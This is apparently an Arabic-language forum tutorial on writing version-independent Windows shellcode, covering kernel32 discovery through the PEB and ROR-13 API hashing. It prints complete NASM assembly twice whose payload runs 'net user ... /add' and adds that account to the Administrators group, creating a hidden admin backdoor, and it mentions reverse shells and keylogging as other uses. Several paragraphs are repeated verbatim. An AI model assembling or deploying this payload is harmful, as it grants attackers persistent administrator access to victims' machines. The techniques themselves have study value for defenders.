السلام عليكم و رحمة الله تعالي و بركاته
سنقوم الان بكتابة شلكود يعمل علي جميع اصدارات الوندوز بما فيها السفن و الفيستا
نأخد المثال السابق يعني اضافة مستخدم جديد بصلاحية المدير
ملاحضة:يمكنك عمل شلكود يقوم بعمل اتصال عكسي او اتصال مباشر ,تصنت علي الكيبورد و اشياء كثيرة
في البداية دعنا نلخص عملية كتابة شلكود في خطوات حتي نرى الاشكال الدي يؤاجهنا
أ ) الدوال التي نستخدمها
ب) الدلل (قد تكون عدة دلل ) التي تحتوي علي الدوال
ت) عناوين الدوال في الدلل
ج) الباقي شيئ سهل كود اسمبلي انت تحصلت علي الشلكود
في المثال الدي قمنا به في شر حنا السابق قمنا باستخدام الاداة اروين من اجل الحصول علي عنوان الدالة
المشكلة التي تواجهنا من اجل كتابة شلكود ديناميك هي
اولا الدلل التي سنستخدمها هل هي موجودة في الداكرة؟
اولا الدلل التي سنستخدمها هل هي موجودة في الداكرة؟
في المثال السابق استخدمنا الكرنل32 هده الدلل تكون موجودةفي الداكرة عند تشغيلك للوندوز , الوندوز تقوم بتحميلها في الداكرة عند تشغيلك للنظام
ادن المشكلة هي مادا لو انك استخدمت دالة موجودة في دلل غير محملة في الداكرة ؟ سيتوجب عليك اولا تحميل الدلل في الداكرة حتي تستطيع استخدام الدالة
من اجل دلك سنستخدم دالة موجودة في الدلل كرنل32 هده الدالة تقوم بتحميل اي دلل تريد في الداكرة. الدالة هي
LoadLibraryA
هده الدالة تقوم بتحميل اي دلل في الداكرة.ادن انتهينا من مشكل الدلل .مادا بقي الان ؟
في الشرح الاول قمنا باستخدام اروين من اجل الحصول علي عنوان الدالة داخل الدلل ,وقلنا بان هدا العنوان خاص بالنظام الدي نستخدمه اي اصدار الوندوز الدي نشتغل عليه , المشكلة هي كيف نجعل هدة صالحة علي كل الانظمة و اصدارات الوندوز ؟
الشلكود الدي تكتبه يجب ان يقوم بتحميل الدلل التي يستخدمها في الداكرة كما يجب ان يبحث عن عنوان الدالة داخل الدلل بشكل اتوماتيكي.
من اجل ايجاد عنوان الدوال داخل الدلل سنقوم باستخدام دالة موجودة الكرنل32 هده الدالة تقوم بالبحث عن اي دالة داخل اي دلل
GetProcAddressالدالة هي
في الشرح الاول قمنا باستخدام اروين من اجل الحصول علي عنوان الدالة داخل الدلل ,وقلنا بان هدا العنوان خاص بالنظام الدي نستخدمه اي اصدار الوندوز الدي نشتغل عليه , المشكلة هي كيف نجعل هدة صالحة علي كل الانظمة و اصدارات الوندوز ؟
الشلكود الدي تكتبه يجب ان يقوم بتحميل الدلل التي يستخدمها في الداكرة كما يجب ان يبحث عن عنوان الدالة داخل الدلل بشكل اتوماتيكي.
من اجل ايجاد عنوان الدوال داخل الدلل سنقوم باستخدام دالة موجودة الكرنل32 هده الدالة تقوم بالبحث عن اي دالة داخل اي دلل
GetProcAddressالدالة هي
نأخد راحة الان ارجو ان يكون الشرح مفهوم
****************************
الان سنتكلم علي شيئ اخر او مشكلة اخري
عند استخدامنا لاي دالة نقوم بالبحث عن العنوان داخل الدلل لكن المشكلة هي كيف سيتبحث عن الدلة داخل الدلل بمعني اخر اي يوجد الدلل الدي ستقوم بالبحث داخله ؟ من اجل دلك يجب اولا عليك معرفة مكان تواجد الدلل داخل الداكرة نحن في عملنا سنحتاج الكرنل32 ادن كيف نتحصل علي مكان تواجدها داخل الداكرة الحية ؟
الحصول علي عنوان الكرنل32 في الداكرة الحية موضوع طويل و يحتاج تركيز و معرفة بنظام الوندوز و ادا هناك اي شخص يهتم بالموضوع يتصل بي نتناقش في الموضوع
المهم انا ساتكلم بصفة عامة و بدون الدخول في التفاصيل . من اجل الحصول علي مكان او عنوان تواجد الكرنل32 في الداكرة الحية هناك ثلاث طرق رئيسية
Process Environment Block (PEB).
The Structured Exception Handling (SEH)
TOPSTACK
سارفق ملف و هو عبارة عن كود اسمبلي يقوم بالبحث عن عنان الكرنل32 داخل الداكرة الحية طبعا كل الحقوق محفوظة لكاتبه
مادا بقي الان ؟ هناك شيئ اخر قلنا سابقا انه من اجل الحصول علي عنوان اي دالة داخل اي دلل نستخدم الدالة
GetProcAddress
هناك طريقة اخرى و هي الاكثر استعمالا من اجل الحصول على عنوان اي دالة داخل الدلل
هده الطريقة تقوم على مبدأ حساب هاش للدالة المراد البحث عنها هدا الهاش يكون على 4 بايت
مبدأ حساب الهاش هو عمل (لا اجد الكلمات باللغة العربية) اسف
rotation de 13 bit plus addition
بعدها يأخد الهاش الناتج و يقوم بحساب الهاش للدوال داخل الدلل و يقوم بمقارنته حتى يجده و يعطينا العنوان المتحصل عليه
بعدها يأخد الهاش الناتج و يقوم بحساب الهاش للدوال داخل الدلل و يقوم بمقارنته حتى يجده و يعطينا العنوان المتحصل عليه
ادا كان هناك اي شخص يهتم انا حاضر نتناقش بالموضوع
اعتقد اني شرحت الاهم الباقي برمجة هو عبارة عن كود اسبلي بعدها نتبع نفس الخطوات في المثال السابق من اجل الحصول على الشلكود
ملخص : الكود اسمبلي يقوم بما يلي
ايجاد الكرنل32
الهاش للدوال المستخدمة يكون كثابت يسخدمه
حساب الهاش للدوال داخل الدلل و مقارنته بالمطلوب حتى يجده
استدعاء الدالة
هدا بصفة عامة
الكود هو كالاتي
ايجاد الكرنل32
الهاش للدوال المستخدمة يكون كثابت يسخدمه
حساب الهاش للدوال داخل الدلل و مقارنته بالمطلوب حتى يجده
استدعاء الدالة
هدا بصفة عامة
الشرح فيديو
الكود هو كالاتي
;adduser-dynamic.asm
[SECTION .text]
BITS 32
global _start
_start:
jmp start_asm
;DEFINE FUNCTIONS
;FUNCTION: find_kernel32
find_kernel32:
cld ; // clear the direction flag for the loop
xor edx, edx ; // zero edx
mov edx, [fs:edx+0x30 ] ; // get a pointer to the PEB
mov edx, [ edx+0x0C ] ; // get PEB->Ldr
mov edx, [ edx+0x14 ] ; // get the first module from the InMemoryOrder module list
next_mod:
mov esi, [ edx+0x28 ] ; // get pointer to modules name (unicode string)
mov ecx, 24 ; // set ecx to this length for the loop
xor edi, edi ; // clear edi which will store the hash of the module name
loop_modname:
xor eax, eax ; // clear eax
lodsb ; // read in the next byte of the name
cmp al, 'a' ; // some versions of Windows use lower case module names
jl not_lowercase
sub al, 0x20 ; // if so normalise to uppercase
not_lowercase:
ror edi, 13 ; // rotate left our hash value
add edi, eax ; // add the next byte of the name
loop loop_modname ; // loop untill we have read enough
cmp edi, 0x6A4ABC5B ; // compare the hash with that of KERNEL32.DLL
mov ebx, [ edx+0x10 ] ; // get this modules base address
mov edx, [ edx ] ; // get the next module
jne next_mod
ret
;END FUNCTION: find_kernel32
;FUNCTION: find_function
find_function:
pushad
mov ebp, [esp + 0x24]
mov eax, [ebp + 0x3c]
mov edx, [ebp + eax + 0x78]
add edx, ebp
mov ecx, [edx + 0x18]
mov ebx, [edx + 0x20]
add ebx, ebp
find_function_loop:
jecxz find_function_finished
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp ; esi now points to current function string
; start of compute hash function
compute_hash: ; put this into a function
xor edi, edi ; edi will hold our hash result
xor eax, eax ; eax holds our current char
cld
compute_hash_again:
lodsb ; puts current char into eax (except first time)
test al, al ; checks for null - end of function string
jz compute_hash_finished
ror edi, 0xd ; rotate the current hash
add edi, eax ; adds current char to current hash
jmp compute_hash_again
compute_hash_finished: ; end of compute hash function
find_function_compare:
;this is where it compares the calculated hash to our hash
cmp edi, [esp + 0x28]
jnz find_function_loop
mov ebx, [edx + 0x24]
add ebx, ebp
mov cx, [ebx + 2 * ecx]
mov ebx, [edx + 0x1c]
add ebx, ebp
mov eax, [ebx + 4 * ecx]
add eax, ebp
;this is the VMA of the function
mov [esp + 0x1c], eax
find_function_finished:
popad
ret
;END FUNCTION: find_function
;FUNCTION: resolve_symbols_for_dll
resolve_symbols_for_dll:
;about to load current hash into eax (pointed to by esi)
lodsd
push eax
push edx
call find_function
mov [edi], eax
add esp, 0x08
add edi, 0x04
cmp esi, ecx
jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
ret
;END FUNCTION: resolve_symbols_for_dll
;DEFINE CONSTANTS
locate_hashes:
call locate_hashes_return
;WinExec ;result hash = 0x98FE8A0E
db 0x98
db 0xFE
db 0x8A
db 0x0E
;ExitProcess ;result hash = 0x7ED8E273
db 0x7E
db 0xD8
db 0xE2
db 0x73
;END DEFINE CONSTANTS
start_asm: ; start our main program
sub esp, 0x08 ; allocate space on stack for function addresses
mov ebp, esp ; set ebp as frame ptr for relative offset on stack
call find_kernel32 ;find address of Kernel32.dll
mov edx, ebx
;resolve kernel32 symbols
jmp short locate_hashes ;locate address of our hashes
locate_hashes_return: ;define return label to return to this code
pop esi ;get constants address from stack
lea edi, [ebp + 0x04] ;this is where we store our function addresses
mov ecx, esi
add ecx, 0x08 ;length of dns shellcode hash list
call resolve_symbols_for_dll
;add user section
jmp short GetCommand
CommandReturn:
pop ebx ;ebx now holds the handle to the string
xor eax,eax ;empties out eax
push eax ;push null onto stack as empty parameter value
push ebx ;push the command onto the stack
call [ebp+4] ;call WinExec(path,showcode)
xor eax,eax ;zero the register again, clears winexec retval
push eax ;push null onto stack as empty parameter value
call [ebp+8] ;call ExitProcess(0);
GetCommand:
call CommandReturn
db "cmd.exe /c net user sad723 sad723 /add && net localgroup Administrators /add sad723"
db 0x00
اداكان هناك اي سؤال بخصوص الكود انا جاهز[SECTION .text]
BITS 32
global _start
_start:
jmp start_asm
;DEFINE FUNCTIONS
;FUNCTION: find_kernel32
find_kernel32:
cld ; // clear the direction flag for the loop
xor edx, edx ; // zero edx
mov edx, [fs:edx+0x30 ] ; // get a pointer to the PEB
mov edx, [ edx+0x0C ] ; // get PEB->Ldr
mov edx, [ edx+0x14 ] ; // get the first module from the InMemoryOrder module list
next_mod:
mov esi, [ edx+0x28 ] ; // get pointer to modules name (unicode string)
mov ecx, 24 ; // set ecx to this length for the loop
xor edi, edi ; // clear edi which will store the hash of the module name
loop_modname:
xor eax, eax ; // clear eax
lodsb ; // read in the next byte of the name
cmp al, 'a' ; // some versions of Windows use lower case module names
jl not_lowercase
sub al, 0x20 ; // if so normalise to uppercase
not_lowercase:
ror edi, 13 ; // rotate left our hash value
add edi, eax ; // add the next byte of the name
loop loop_modname ; // loop untill we have read enough
cmp edi, 0x6A4ABC5B ; // compare the hash with that of KERNEL32.DLL
mov ebx, [ edx+0x10 ] ; // get this modules base address
mov edx, [ edx ] ; // get the next module
jne next_mod
ret
;END FUNCTION: find_kernel32
;FUNCTION: find_function
find_function:
pushad
mov ebp, [esp + 0x24]
mov eax, [ebp + 0x3c]
mov edx, [ebp + eax + 0x78]
add edx, ebp
mov ecx, [edx + 0x18]
mov ebx, [edx + 0x20]
add ebx, ebp
find_function_loop:
jecxz find_function_finished
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp ; esi now points to current function string
; start of compute hash function
compute_hash: ; put this into a function
xor edi, edi ; edi will hold our hash result
xor eax, eax ; eax holds our current char
cld
compute_hash_again:
lodsb ; puts current char into eax (except first time)
test al, al ; checks for null - end of function string
jz compute_hash_finished
ror edi, 0xd ; rotate the current hash
add edi, eax ; adds current char to current hash
jmp compute_hash_again
compute_hash_finished: ; end of compute hash function
find_function_compare:
;this is where it compares the calculated hash to our hash
cmp edi, [esp + 0x28]
jnz find_function_loop
mov ebx, [edx + 0x24]
add ebx, ebp
mov cx, [ebx + 2 * ecx]
mov ebx, [edx + 0x1c]
add ebx, ebp
mov eax, [ebx + 4 * ecx]
add eax, ebp
;this is the VMA of the function
mov [esp + 0x1c], eax
find_function_finished:
popad
ret
;END FUNCTION: find_function
;FUNCTION: resolve_symbols_for_dll
resolve_symbols_for_dll:
;about to load current hash into eax (pointed to by esi)
lodsd
push eax
push edx
call find_function
mov [edi], eax
add esp, 0x08
add edi, 0x04
cmp esi, ecx
jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
ret
;END FUNCTION: resolve_symbols_for_dll
;DEFINE CONSTANTS
locate_hashes:
call locate_hashes_return
;WinExec ;result hash = 0x98FE8A0E
db 0x98
db 0xFE
db 0x8A
db 0x0E
;ExitProcess ;result hash = 0x7ED8E273
db 0x7E
db 0xD8
db 0xE2
db 0x73
;END DEFINE CONSTANTS
start_asm: ; start our main program
sub esp, 0x08 ; allocate space on stack for function addresses
mov ebp, esp ; set ebp as frame ptr for relative offset on stack
call find_kernel32 ;find address of Kernel32.dll
mov edx, ebx
;resolve kernel32 symbols
jmp short locate_hashes ;locate address of our hashes
locate_hashes_return: ;define return label to return to this code
pop esi ;get constants address from stack
lea edi, [ebp + 0x04] ;this is where we store our function addresses
mov ecx, esi
add ecx, 0x08 ;length of dns shellcode hash list
call resolve_symbols_for_dll
;add user section
jmp short GetCommand
CommandReturn:
pop ebx ;ebx now holds the handle to the string
xor eax,eax ;empties out eax
push eax ;push null onto stack as empty parameter value
push ebx ;push the command onto the stack
call [ebp+4] ;call WinExec(path,showcode)
xor eax,eax ;zero the register again, clears winexec retval
push eax ;push null onto stack as empty parameter value
call [ebp+8] ;call ExitProcess(0);
GetCommand:
call CommandReturn
db "cmd.exe /c net user sad723 sad723 /add && net localgroup Administrators /add sad723"
db 0x00